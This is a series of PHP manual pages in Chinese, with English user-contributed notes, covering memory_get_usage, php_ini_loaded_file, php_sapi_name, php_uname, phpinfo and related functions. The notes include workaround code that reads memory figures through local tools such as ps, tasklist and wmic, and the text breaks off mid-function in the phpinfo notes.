
返回分配给 PHP 的内存量

  • ? memory_get_peak_usage
  • memory_reset_peak_usage ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回分配给 PHP 的内存量

memory_get_usage

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

memory_get_usage — 返回分配给 PHP 的内存量

说明

memory_get_usage(bool $real_usage = false): int

返回当前分配给你的 PHP 脚本的内存量，单位是字节（byte）。

参数

real_usage

如果设置为 true，获取系统分配总的内存尺寸，包括未使用的页。如果未设置或者设置为 false，仅仅报告实际使用的内存量。

Note:

PHP 不跟踪非emalloc() 分配的内存

返回值

返回内存量字节数。

示例

Example #1 一个 memory_get_usage() 示例

<?php
//这只是个示例，下面的数字取决于你的系统

echo memory_get_usage() . "\n"; // 36640

$a = str_repeat("Hello", 4242);

echo memory_get_usage() . "\n"; // 57960

unset($a);

echo memory_get_usage() . "\n"; // 36744

?>

参见

  • memory_get_peak_usage() - 返回分配给 PHP 内存的峰值
  • memory_limit

User Contributed Notes

yousha dot a at hotmail dot com 18-Apr-2018 08:41
Note that the description for `memory_get_usage` is different than it's default parameter!

"`int memory_get_usage ([ bool $real_usage = FALSE ] )`
Returns the amount of memory, in bytes, that's currently being allocated to your PHP script. "

Default parameter = `FALSE`

WRONG description: Returns the amount of memory, in bytes, that's currently being allocated to your PHP script.

It must be: Returns the amount of memory, in bytes, that's currently used by your PHP script.
stanislav dot eckert at vizson dot de 18-Feb-2017 03:08
memory_get_usage() is used to retrieve the memory allocated to PHP only (or your running script). But intuitively, many people expect to get the memory usage of the system, based on the name of the function.

So if you need the overall memory usage, following function might be helpful. If retrieves the memory usage either in percent (without the percent sign) or in bytes by returning an array with free and overall memory of your system. Tested with Windows (7) and Linux (on an Raspberry Pi 2):

<?php

    // Returns used memory (either in percent (without percent sign) or free and overall in bytes)
    function getServerMemoryUsage($getPercentage=true)
    {
        $memoryTotal = null;
        $memoryFree = null;

        if (stristr(PHP_OS, "win")) {
            // Get total physical memory (this is in bytes)
            $cmd = "wmic ComputerSystem get TotalPhysicalMemory";
            @exec($cmd, $outputTotalPhysicalMemory);

            // Get free physical memory (this is in kibibytes!)
            $cmd = "wmic OS get FreePhysicalMemory";
            @exec($cmd, $outputFreePhysicalMemory);

            if ($outputTotalPhysicalMemory && $outputFreePhysicalMemory) {
                // Find total value
                foreach ($outputTotalPhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryTotal = $line;
                        break;
                    }
                }

                // Find free value
                foreach ($outputFreePhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryFree = $line;
                        $memoryFree *= 1024;  // convert from kibibytes to bytes
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/meminfo"))
            {
                $stats = @file_get_contents("/proc/meminfo");

                if ($stats !== false) {
                    // Separate lines
                    $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                    $stats = explode("\n", $stats);

                    // Separate values and find correct lines for total and free mem
                    foreach ($stats as $statLine) {
                        $statLineData = explode(":", trim($statLine));

                        //
                        // Extract size (TODO: It seems that (at least) the two values for total and free memory have the unit "kB" always. Is this correct?
                        //

                        // Total memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemTotal") {
                            $memoryTotal = trim($statLineData[1]);
                            $memoryTotal = explode(" ", $memoryTotal);
                            $memoryTotal = $memoryTotal[0];
                            $memoryTotal *= 1024;  // convert from kibibytes to bytes
                        }

                        // Free memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemFree") {
                            $memoryFree = trim($statLineData[1]);
                            $memoryFree = explode(" ", $memoryFree);
                            $memoryFree = $memoryFree[0];
                            $memoryFree *= 1024;  // convert from kibibytes to bytes
                        }
                    }
                }
            }
        }

        if (is_null($memoryTotal) || is_null($memoryFree)) {
            return null;
        } else {
            if ($getPercentage) {
                return (100 - ($memoryFree * 100 / $memoryTotal));
            } else {
                return array(
                    "total" => $memoryTotal,
                    "free" => $memoryFree,
                );
            }
        }
    }

    function getNiceFileSize($bytes, $binaryPrefix=true) {
        if ($binaryPrefix) {
            $unit=array('B','KiB','MiB','GiB','TiB','PiB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1024,($i=floor(log($bytes,1024)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        } else {
            $unit=array('B','KB','MB','GB','TB','PB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1000,($i=floor(log($bytes,1000)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        }
    }

    // Memory usage: 4.55 GiB / 23.91 GiB (19.013557664178%)
    $memUsage = getServerMemoryUsage(false);
    echo sprintf("Memory usage: %s / %s (%s%%)",
        getNiceFileSize($memUsage["total"] - $memUsage["free"]),
        getNiceFileSize($memUsage["total"]),
        getServerMemoryUsage(true)
    );

?>

The function getNiceFileSize() is not required. Just used to shorten size in bytes.

Note: If you need the server load (CPU usage), I wrote a nice function to get that too: http://php.net/manual/en/function.sys-getloadavg.php#118673
miami at blackcrystal dot net 11-Mar-2015 11:46
Sometimes, we need all memory to run our task, we do ini_set('memory_limit',  -1 ), or maximum value we have.

To avoid stuck of server on long and memory consuming tasks, i wrote this check. This is not the same as memory_get_usage() do, but more. It shows virtual memory amount, taken by your process. In percents.

<?php
    function getVirtualMemoryTaken()
    {
        $pid = getmypid();
        $a = `ps -p $pid v | awk 'END{print $9}'`;
        return $a*1;
    }
?>

It works only in linux, tested in Ubuntu 14.

<?php
    $a = ' ';
    do {  $a .= $a . $a; }
    while (getVirtualMemoryTaken() < 20 );
?>
Alex Aulbach 22-Mar-2011 01:14
Note, that the official IEC-prefix for kilobyte, megabyte and so on are KiB, MiB, TiB and so on.

See http://en.wikipedia.org/wiki/Tebibyte

At first glance this may sound like "What the hell? Everybody knows, that we mean 1024 not 1000 and the difference is not too big, so what?". But in about 10 years, the size of harddisks (and files on them) reaches the petabyte-limit and then the difference between PB and PiB is magnificent.

Better to get used to it now. :)
lorin dot weilenmann at gmail dot com 26-Nov-2010 01:37
I can confirm that this function triggers a garbage collection. I have a script that exceeded 128MB of memory at some point and ended with a fatal error. I was confused, because the script dealt with some large files initially, but the memory load from that point on should have been marginal, and the error occurred at the very end.

Those large files were dealt in a dedicated function and i even used unset() on the variable holding the file after the file was written to disk inside that function. So the memory should have been cleared twice, first after the unset() call, and second once the function ended.

To debug the memory usage, I called memory_get_usage(true) at some points and echo-ed the memory allocation. Just by adding a few echos here and there in the script, the memory usage never exceeded 1MB overhead (on top of the current file size) and the memory error disappeared.
xelozz -at- gmail.com 18-Feb-2010 02:34
To get the memory usage in KB or MB

<?php
function convert($size)
 {
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
 }

echo convert(memory_get_usage(true)); // 123 kb
?>
jeff dot peck at snet dot net 19-Aug-2009 09:22
To get the memory usage in KB or MB

<?php
    function echo_memory_usage() {
        $mem_usage = memory_get_usage(true);

        if ($mem_usage < 1024)
            echo $mem_usage." bytes";
        elseif ($mem_usage < 1048576)
            echo round($mem_usage/1024,2)." kilobytes";
        else
            echo round($mem_usage/1048576,2)." megabytes";

        echo "<br/>";
    }
?>
miteigi nemoto (miteigi at yandex dot ru) 18-Nov-2008 08:19
Decision a memory_get_usage problem for windows system

Tested OS: Windows XP
Server: Apache

PHP must be loaded as CGI to get correctly memory usage by Process ID ( getmypid() ) and with cmd-tools like tasklist.exe

PHP as CGI have your own PID instead constant Apache PID and you get a true memory size independed form Apache memory usage.

Configure in httpd.conf of Apache:

1. Comment the line like this:
LoadModule php4_module "/usr/local/php/sapi/php4apache.dll"
or
LoadModule php5_module "/usr/local/php5/php5apache.dll"

2. Add this and edit your path to php:
<Directory "z:/usr/local/php">
  Options ExecCGI
</Directory>
ScriptAlias "/__php_dir__/" "z:/usr/local/php/"
Action application/x-httpd-php "/__php_dir__/php.exe"

3. Restart Apache

Use this PHP-code:

<?php
/**
* A memory_get_usage() for Windows System, wich compiled without --enable-memory-limit
* PHP must be loaded as CGI
* Greetings form miteigi nemoto
* @return string
*/
function memory_get_usage_by_tasklist()
{
    $output = array();
    exec( 'tasklist ', $output );
    foreach ($output as $value)
    {
        $ex=explode(" ",$value);
        $count_ex=count($ex);
        if (eregi(" ".getmypid()." Console",$value))
        {
            $memory_size=$ex[$count_ex-2]." Kb";
            return $memory_size;
        }
    }
}
echo memory_get_usage_by_tasklist();
?>
joe at schmoe dot com 23-Dec-2006 12:44
the various memory_get_usage replacements here don't seem to work on Mac OS X 10.4(Intel)

I got it to work like this...

<?php
function memory_get_usage()
{
     $pid = getmypid();
     exec("ps -o rss -p $pid", $output);
     return $output[1] *1024;
}
?>
e dot a dot schultz at gmail dot com 08-Apr-2006 04:41
This is a function that should work for both Windows XP/2003 and most distrabutions of UNIX and Mac OS X.

<?php
if( !function_exists('memory_get_usage') )
{
    function memory_get_usage()
    {
        //If its Windows
        //Tested on Win XP Pro SP2. Should work on Win 2003 Server too
        //Doesn't work for 2000
        //If you need it to work for 2000 look at http://us2.php.net/manual/en/function.memory-get-usage.php#54642
        if ( substr(PHP_OS,0,3) == 'WIN')
        {
               if ( substr( PHP_OS, 0, 3 ) == 'WIN' )
                {
                    $output = array();
                    exec( 'tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output );

                    return preg_replace( '/[\D]/', '', $output[5] ) * 1024;
                }
        }else
        {
            //We now assume the OS is UNIX
            //Tested on Mac OS X 10.4.6 and Linux Red Hat Enterprise 4
            //This should work on most UNIX systems
            $pid = getmypid();
            exec("ps -eo%mem,rss,pid | grep $pid", $output);
            $output = explode("  ", $output[0]);
            //rss is given in 1024 byte units
            return $output[1] * 1024;
        }
    }
}
?>
vesa dot kivisto at nepton dot fi 14-Jul-2005 06:02
[EDIT by danbrown AT php DOT net: This function will only extend Windows versions of PHP where the server has the required third-party software.]

I was unable to get the previous examples working properly and created code which works at least for me. Enjoy!

<?php
// Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html
// This is because win/2000 itself does not provide a task list utility.
//
function getMemoryUsage() {

 // try to use PHP build in function
 if( function_exists('memory_get_usage') ) {
  return memory_get_usage();
 }

 // Try to get Windows memory usage via pslist command
 if ( substr(PHP_OS,0,3) == 'WIN') {

  $resultRow = 8;
  $resultRowItemStartPosition = 34;
  $resultRowItemLength = 8;

  $output = array();
  exec('pslist -m ' . getmypid() , $output);

  return trim(substr($output[$resultRow], $resultRowItemStartPosition, $resultRowItemLength)) . ' KB';

 }

 // No memory functionality available at all
 return '<b style="color: red;">no value</b>';

}
?>
guenter_doege at web dot de 10-Jul-2005 11:28
The Win XP / 2003 workaround script will also work with windows 2000 with a few slight modifications.

Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html because win/2000 itself does not provide a task list utility.

<?php

function getMemUsage()
{

       if (function_exists('memory_get_usage'))
       {
           return memory_get_usage();
       }
       else if ( substr(PHP_OS,0,3) == 'WIN')
       {
           // Windows 2000 workaround

           $output = array();
           exec('pslist ' . getmypid() , $output);
           return trim(substr($output[8],38,10));
       }
       else
       {
           return '<b style="color: red;">no value</b>';
       }
}
?>
MagicalTux at FF dot st 25-May-2005 12:08
When you need to get the OS, do not use $_SERVER['OS'] or $_ENV['OS'], better use PHP_OS constant !
<?php
if (substr(PHP_OS,0,3)=='WIN') {
  // [...]
}
?>

You also have other values such as CYGWIN_NT-5.0, Linux, ... this is the best way to get system's os (anyone on linux can do an "export OS=windows")
randolphothegreat at yahoo dot com 29-Nov-2004 01:37
[EDIT by danbrown AT php DOT net: This is intended by the author to only be used with PHP 4 < 4.3.2.]

I'd just like to point out that although sandeepc at myrealbox dot com's idea for displaying the current memory usage is a good one, it's perhaps a bad idea to pipe the entire process list through grep. A better performing method would be to select only the process we're interested in:

<?php
$pid = getmypid();
error_log('MEMORY USAGE (% KB PID ): ' . `ps --pid $pid --no-headers -o%mem,rss,pid`);
?>

True, it's not much of a performance boost, but every bit helps.
ad-rotator.com 14-May-2004 10:31
The method sandeepc at myrealbox dot com posted yields larger memory usage, my guess is that it includes all the PHP interpreter/internal code and not just the script being run.

1) Use ps command
MEMORY USAGE (% KB PID ):  0.8 12588 25087 -> about 12MB
2) Use memory_get_usage()
int(6041952) -> about 6MB


Reset the peak memory usage

  • ? memory_get_usage
  • php_ini_loaded_file ?
  • PHP Manual
  • PHP 选项/信息 函数
  • Reset the peak memory usage

memory_reset_peak_usage

(PHP 8 >= 8.2.0)

memory_reset_peak_usage — Reset the peak memory usage

说明

memory_reset_peak_usage(): void

Resets the peak memory usage returned by the memory_get_peak_usage() function.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 memory_reset_peak_usage() example

<?php

var_dump(memory_get_peak_usage());

$a = str_repeat("Hello", 424242);
var_dump(memory_get_peak_usage());

unset($a);
memory_reset_peak_usage();

$a = str_repeat("Hello", 2424);
var_dump(memory_get_peak_usage());

?>

以上示例的输出类似于：

int(422440)
int(2508672)
int(399208)

参见

  • memory_get_peak_usage() - 返回分配给 PHP 内存的峰值

User Contributed Notes

There are no user contributed notes for this page.


取得已加载的 php.ini 文件的路径

  • ? memory_reset_peak_usage
  • php_ini_scanned_files ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 取得已加载的 php.ini 文件的路径

php_ini_loaded_file

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

php_ini_loaded_file — 取得已加载的 php.ini 文件的路径

说明

php_ini_loaded_file(): string|false

检查是否有加载的 php.ini 文件，并取回它的路径。

参数

此函数没有参数。

返回值

已加载的 php.ini 路径，或在没有时返回 false。

示例

Example #1 php_ini_loaded_file() 示例

<?php
$inipath = php_ini_loaded_file();

if ($inipath) {
echo 'Loaded php.ini: ' . $inipath;
} else {
echo 'A php.ini file is not loaded';
}
?>

以上示例的输出类似于：

Loaded php.ini: /usr/local/php/php.ini

参见

  • php_ini_scanned_files() - 返回从额外 ini 目录里解析的 .ini 文件列表
  • phpinfo() - 输出关于 PHP 配置的信息
  • 配置文件

User Contributed Notes

geekcom 26-Nov-2019 06:45
To find your php.ini just run

php --ini
yc 14-May-2016 04:29
you can also do:

php -i | grep "Configuration File"
Andy Dodd 27-May-2015 07:31
Or you could use
php -i | grep php.ini
litelus 21-Oct-2014 03:59
quick way to find the ini loaded for the cli
php -r "echo php_ini_loaded_file();"


返回从额外 ini 目录里解析的 .ini 文件列表

  • ? php_ini_loaded_file
  • php_sapi_name ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回从额外 ini 目录里解析的 .ini 文件列表

php_ini_scanned_files

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

php_ini_scanned_files — 返回从额外 ini 目录里解析的 .ini 文件列表

说明

php_ini_scanned_files(): string|false

php_ini_scanned_files() 在 php.ini 之后解析的配置文件的逗号分割列表。搜索的目录由编译时选项设置，也可以在运行时由环境变量设置：更多信息可以从安装指南中找到。

返回的配置文件包含完整路径。

参数

此函数没有参数。

返回值

成功时返回逗号分隔的 .ini 文件字符串。每个逗号后紧跟新的一行。如果未设置配置指令 --with-config-file-scan-dir 并且没有设置环境变量 PHP_INI_SCAN_DIR 将会返回 false。如果它设置了，并且目录是空的，将会返回一个空字符串。如果有未识别的文件，此文件也会进入返回的字符串，但是会导致一个 PHP 错误。此 PHP 错误即会在编译时出现也会在使用 php_ini_scanned_files() 函数时出现。

示例

Example #1 列出返回的 ini 文件的简单示例

<?php
if ($filelist = php_ini_scanned_files()) {
if (strlen($filelist) > 0) {
$files = explode(',', $filelist);

foreach ($files as $file) {
echo "<li>" . trim($file) . "</li>\n";
}
}
}
?>

参见

  • ini_set() - 为一个配置选项设置值
  • phpinfo() - 输出关于 PHP 配置的信息
  • php_ini_loaded_file() - 取得已加载的 php.ini 文件的路径

User Contributed Notes

atesin () gmail ! com 25-Apr-2019 04:00
<warning>

until i load more .ini files from <php-dir>/php.d/ as listed in phpinfo() (sections "Scan this dir for additional .ini files" and "Additional .ini files parsed"), php_ini_scanned_files() returns me NOTHING!

then i realized my php binary was not compiled with the "--with-config-file-scan-dir" option as listed in phpinfo() (section "Configure Command")

then i remembered the additional .ini files dir was set through the "PHP_INI_SCAN_DIR" system variable (new since php 5.2.0, see https://php.net/manual/en/configuration.file.php#configuration.file.scan)

until confusing and annoying, is the documented behavior... too bad now i don't know how to get the additional ini files purely with php functions (except "shell_exec()" maybe?)

</warning>


返回 web 服务器和 PHP 之间的接口类型

  • ? php_ini_scanned_files
  • php_uname ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回 web 服务器和 PHP 之间的接口类型

php_sapi_name

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

php_sapi_name — 返回 web 服务器和 PHP 之间的接口类型

说明

php_sapi_name(): string|false

返回描述 PHP 所使用的接口类型（the Server API, SAPI）的小写字符串。 例如，CLI 的 PHP 下这个字符串会是 "cli"，Apache 下可能会有几个不同的值，取决于具体使用的 SAPI。 以下列出了可能的值。

参数

此函数没有参数。

返回值

返回接口类型的小写字符串， 或者在失败时返回 false。

尽管不够全面，可能返回的值包括了 apache、apache2handler、cgi（直到 PHP 5.3）、cgi-fcgi、cli、cli-server、embed、fpm-fcgi、litespeed、phpdbg。

示例

Example #1 php_sapi_name() 示例

以下示例检测了子字符串 cgi，因为它也有可能会是 cgi-fcgi。

<?php
$sapi_type = php_sapi_name();
if (substr($sapi_type, 0, 3) == 'cgi') {
echo "You are using CGI PHP\n";
} else {
echo "You are not using CGI PHP\n";
}
?>

注释

Note: 另一种方法

PHP 常量 PHP_SAPI 具有和 php_sapi_name() 相同的值。

Tip

一个潜在的疑难问题

定义的 SAPI 可能不够明显，比如它可能定义为 apache2handler，而不是 apache。

参见

  • PHP_SAPI

User Contributed Notes

Anonymous 02-Apr-2023 08:50
Note: When using Litespeed with CPanel, the SAPI will be "litespeed" and not contain "cgi".
michael at butlerpc dot net 05-Jan-2021 09:49
When using nginx-unit with PHP, the sapi name seems to be "cli-server"
anonymous 16-Sep-2015 02:50
php_sapi_name (which is equal to PHP_SAPI) can either be cgi or any other cgi mod (dependent on which mod you are using)-

Examples:
'fpm-fcgi'
'cgi-fcgi'
[...]
hajo-p 03-Feb-2014 10:58
some not yet mentioned sapi names:

cli-server -> php built-in webserver
srv -> hhvm
michal at roszka dot pl 26-Mar-2009 01:13
The php_sapi_name() function is extremely useful when you want to determine the type of interface. There is, however, one more gotcha you need to be aware of while designing your application or deploying it to an unknown server.

Whenever something depends on the type of interface, make sure your check is conclusive. Especially when you want to distinguish the command line interface (CLI) from the common gateway interface (CGI).

Note, that the php-cgi binary can be called from the command line, from a shell script or as a cron job as well! If so, the php_sapi_name() will always return the same value (i.e. "cgi-fcgi") instead of "cli" which you could expect.

Bad things happen to good people. Do not always expect /usr/bin/php to be a link to php-cli binary.

Luckily the contents of the $_SERVER and the $_ENV superglobal arrays depends on whether the php-cgi binary is called from the command line interface (by a shell script, by the cron, etc.) or by some HTTP server (i.e. lighttpd).

<?php
var_dump($_SERVER);
?>

Try to call php-cgi binary from the command line interface and then via HTTP request and compare the output of the script above. There will be plenty options to satisfy almost everyone.

For the sake of security remember, that contents of the $_SERVER and the $_ENV superglobal arrays (as well as $_GET, $_POST, $_COOKIE, $_FILES and $_REQUEST) should be considered tainted.


返回运行 PHP 的系统的有关信息

  • ? php_sapi_name
  • phpcredits ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回运行 PHP 的系统的有关信息

php_uname

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

php_uname — 返回运行 PHP 的系统的有关信息

说明

php_uname(string $mode = "a"): string

php_uname() 返回了运行 PHP 的操作系统的描述。 这和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS，不过要注意该常量会包含 PHP 构建（built）时的操作系统名。

在一些旧的 UNIX 平台，它有可能无法检测到当前系统的信息，然后会还原显示成构建 PHP 时的系统信息。 这仅仅在你的 uname() 函数库不存在或无法运行时发生。

参数

mode

mode 是单个字符，用于定义要返回什么信息：

  • 'a'：此为默认。包含序列 "s n r v m" 里的所有模式。
  • 's'：操作系统名称。例如： FreeBSD。
  • 'n'：主机名。例如： localhost.example.com。
  • 'r'：版本名称，例如： 5.1.2-RELEASE。
  • 'v'：版本信息。操作系统之间有很大的不同。
  • 'm'：机器类型。例如：i386。

返回值

返回描述字符串。

示例

Example #1 一些 php_uname() 的示例

<?php
echo php_uname();
echo PHP_OS;

/* 比如有些会输出：
Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
Linux

FreeBSD localhost 3.2-RELEASE #15: Mon Dec 17 08:46:02 GMT 2001
FreeBSD

Windows NT XN1 5.1 build 2600
WINNT
*/

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo 'This is a server using Windows!';
} else {
echo 'This is a server not using Windows!';
}

?>

同样可以方便地使用一些相关的 PHP 预定义常量，例如：

Example #2 一些系统相关常量的示例

<?php
// *nix
echo DIRECTORY_SEPARATOR; // /
echo PHP_SHLIB_SUFFIX; // so
echo PATH_SEPARATOR; // :

// Win*
echo DIRECTORY_SEPARATOR; // \
echo PHP_SHLIB_SUFFIX; // dll
echo PATH_SEPARATOR; // ;
?>

参见

  • phpversion() - 获取当前的PHP版本
  • php_sapi_name() - 返回 web 服务器和 PHP 之间的接口类型
  • phpinfo() - 输出关于 PHP 配置的信息

User Contributed Notes

pyst 30-Sep-2020 01:05
Note that the argument is not a "format". This means that <?php uname('a') ?> is not equivalent to <?php uname('s n r v m') ?>, but rather <?php uname('s') . ' ' . uname('n') . ' ' . uname('r') . ' ' . uname('v') . ' ' . uname('m') ?>.
Ricardo Striquer (ricardophp yohoocombr) 18-Sep-2019 05:24
Although it does not indicate receiving parameters this function allows some chars as parameters, they are the options a; m; n; r; s; v.

I don't know exactly what each one does, but below is a code example and its output on PHP 5.5 running on RedHat 4.4

<?php
echo '<pre>';
echo '(void): '.php_uname()."\n"; // output: "(void): Linux web989.uni5.net 4.4.180 #1 SMP Wed May 22 15:27:37 -03 2019 x86_64"
echo 'a: '.php_uname('a')."\n"; // output: "a: Linux web989.uni5.net 4.4.180 #1 SMP Wed May 22 15:27:37 -03 2019 x86_64"
echo 'm: '.php_uname('m')."\n"; // output: "m: x86_64"
echo 'n: '.php_uname('n')."\n"; // output: "n: web989.uni5.net"
echo 'r: '.php_uname('r')."\n"; // output: "r: 4.4.180"
echo 's: '.php_uname('s')."\n"; // output: "s: Linux"
echo 'v: '.php_uname('v')."\n"; // output: "v: #1 SMP Wed May 22 15:27:37 -03 2019"
// echo file_get_contents('/etc/issue')."\n";

echo '</pre>';
phpinfo();
?>

Note that I used file_get_contentes with a file, that file is present in most linux boxies and varies on content, but most of times it indicates kernel version, linux version, distribution and so on. In my case my user didn't have access to the file, so to identify that it was a red hat I paid attention to php_info outputs, there in the middle was the postgress driver description, p. eg indicating the distribution.

I guess there is no easy way to find out the server version programmatically a 100% of times, but by and large you can get around by yourself.
Grzechooo+php at gmail dot com 29-Sep-2012 05:07
Note that PHP won't tell you that it reverted to displaying platform it was built on.
Yzmir Ramirez 24-Aug-2011 10:00
Note that php_uname('n') does not always equal $_SERVER['HOST_NAME']

The machine that you are running the script may server many different host names so don't use this when building urls.


打印 PHP 贡献者名单

  • ? php_uname
  • phpinfo ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 打印 PHP 贡献者名单

phpcredits

(PHP 4, PHP 5, PHP 7, PHP 8)

phpcredits — 打印 PHP 贡献者名单

说明

phpcredits(int $flags = CREDITS_ALL): true

这个函数打印出了 PHP 开发者、模块等贡献者名单。 它生成了合适、可嵌入信息到页面中的 HTML 代码。

参数

flags

生成自定义的贡献者页面，你也许想要使用 flags 参数。

预定义的 phpcredits() flags
名称 | 描述
CREDITS_ALL | 所有贡献者，等同于使用： CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_FULLPAGE。 它以适当的标签产生了完整独立的 HTML 页面。
CREDITS_DOCS | 文档组贡献名单
CREDITS_FULLPAGE | 常用于和其他标志进行组合。 表示需要打印包含其他标志表示信息的独立 HTML 页面。
CREDITS_GENERAL | 普遍名单：语言设计与理念、PHP作者以及 SAPI 模块。
CREDITS_GROUP | 核心开发者名单
CREDITS_MODULES | PHP 扩展模块以及它们的作者的清单
CREDITS_SAPI | PHP 的服务器 API 模块以及他们的作者的清单

返回值

总是返回 true。

示例

Example #1 打印普遍名单

<?php
phpcredits(CREDITS_GENERAL);
?>

Example #2 打印核心开发者和文档组

<?php
phpcredits(CREDITS_GROUP | CREDITS_DOCS | CREDITS_FULLPAGE);
?>

Example #3 打印所有贡献者

<html>
<head>
<title>My credits page</title>
</head>
<body>
<?php
// 一些你自己的代码
phpcredits(CREDITS_ALL - CREDITS_FULLPAGE);
// 一些其他的代码
?>
 </body>
</html>

注释

Note:

在 CLI 模式下 phpcredits() 输出明文而不是 HTML。

参见

  • phpversion() - 获取当前的PHP版本
  • phpinfo() - 输出关于 PHP 配置的信息

User Contributed Notes

There are no user contributed notes for this page.


输出关于 PHP 配置的信息

  • ? phpcredits
  • phpversion ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 输出关于 PHP 配置的信息

phpinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

phpinfo — 输出关于 PHP 配置的信息

说明

phpinfo(int $flags = INFO_ALL): true

输出 PHP 当前状态的大量信息，包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量（如果编译为一个模块的话）、PHP 环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息（License）。

因为每个系统安装得有所不同，phpinfo() 常用于在系统上检查配置设置和预定义变量。

phpinfo() 同时是个很有价值的、包含所有 EGPCS(Environment、GET、POST、Cookie、Server) 数据的调试工具。

参数

flags

可以用以下的一个或多个 constants 用位运算传递给可选的 flags 参数来定制输出的信息。 该参数可以把常量相加或者用按位或操作符按位运算。

phpinfo() 选项
Name (constant) | Value | Description
INFO_GENERAL | 1 | 配置的命令行、php.ini 的文件位置、建立的时间、Web 服务器、系统及更多其他信息。
INFO_CREDITS | 2 | PHP 贡献者名单。参加 phpcredits()。
INFO_CONFIGURATION | 4 | 当前PHP指令的本地值和主值。参见 ini_get()。
INFO_MODULES | 8 | 已加载的模块和模块相应的设置。参见 get_loaded_extensions()。
INFO_ENVIRONMENT | 16 | 环境变量信息也可以用 $_ENV 获取。
INFO_VARIABLES | 32 | 显示所有来自 EGPCS (Environment, GET, POST, Cookie, Server) 的 预定义变量。
INFO_LICENSE | 64 | PHP许可证信息。参见 » license FAQ。
INFO_ALL | -1 | 显示以上所有信息。

返回值

总是返回 true。

示例

Example #1 phpinfo() 示例

<?php

// 显示所有信息，默认显示 INFO_ALL
phpinfo();

// Show just the module information. 仅仅显示PHP模块信息，
// phpinfo(8) 返回同样的结果。
phpinfo(INFO_MODULES);

?>

注释

Note:

在 PHP 5.5 之前版本，当 expose_php 设置为 off 可以禁用一部分信息。 这包括了 PHP 和 Zend 的 logo，以及贡献者名单。

Note:

在命令行（CLI）模式下 phpinfo() 仅会输出纯文本，而不是HTML。

参见

  • phpversion() - 获取当前的PHP版本
  • phpcredits() - 打印 PHP 贡献者名单
  • ini_get() - 获取一个配置选项的值
  • ini_set() - 为一个配置选项设置值
  • get_loaded_extensions() - 返回所有编译并加载模块名的 array
  • 预定义变量

User Contributed Notes

alec dot hewitt at gmail dot com 23-Dec-2022 12:46
Simple JS snippet to print phpinfo() inline with it's styles renamed. Thus leaving the container page unaffected and pretty.

<script>
document.write(`<div id="phpinfo"><?php phpinfo(61) ?></div>`);
var x = document.querySelector('#phpinfo > style');
x.innerText = x.innerText.replaceAll('\n', '#phpinfo ');
</script>
bimal at sanjaal dot com 01-Dec-2017 02:06
If you are embeding the output of the function within a page, the <html> tag can collide and page will distort.

Rather, it is important to extract the contents within the <body> and </body> tags only. Here is how.

<?php
    public function info()
    {
        ob_start();
            phpinfo();
        $info = ob_get_clean();

        $info = preg_replace("/^.*?\<body\>/is", "", $info);
        $info = preg_replace("/<\/body\>.*?$/is", "", $info);

        echo $info;
    }
?>
keinwort at hotmail dot com 24-Sep-2017 05:22
REMARK/INFO: if Content-Security-Policy HTTP header
is
Content-Security-Policy "default-src 'self';";

phpinfo() is shown without a table
Calin S. 09-Sep-2015 12:38
After reading and trying various functions, I couldn't find one that correctly parses all the configurations, strips any left-over html tag and converts special characters into UTF8 (e.g. &#039; into '), so I created my own by improving on the existing ones:

function phpinfo2array() {
    $entitiesToUtf8 = function($input) {
        // http://php.net/manual/en/function.html-entity-decode.php#104617
        return preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);
    };
    $plainText = function($input) use ($entitiesToUtf8) {
        return trim(html_entity_decode($entitiesToUtf8(strip_tags($input))));
    };
    $titlePlainText = function($input) use ($plainText) {
        return '# '.$plainText($input);
    };

    ob_start();
    phpinfo(-1);

    $phpinfo = array('phpinfo' => array());

    // Strip everything after the <h1>Configuration</h1> tag (other h1's)
    if (!preg_match('#(.*<h1[^>]*>\s*Configuration.*)<h1#s', ob_get_clean(), $matches)) {
        return array();
    }

    $input = $matches[1];
    $matches = array();

    if(preg_match_all(
        '#(?:<h2.*?>(?:<a.*?>)?(.*?)(?:<\/a>)?<\/h2>)|'.
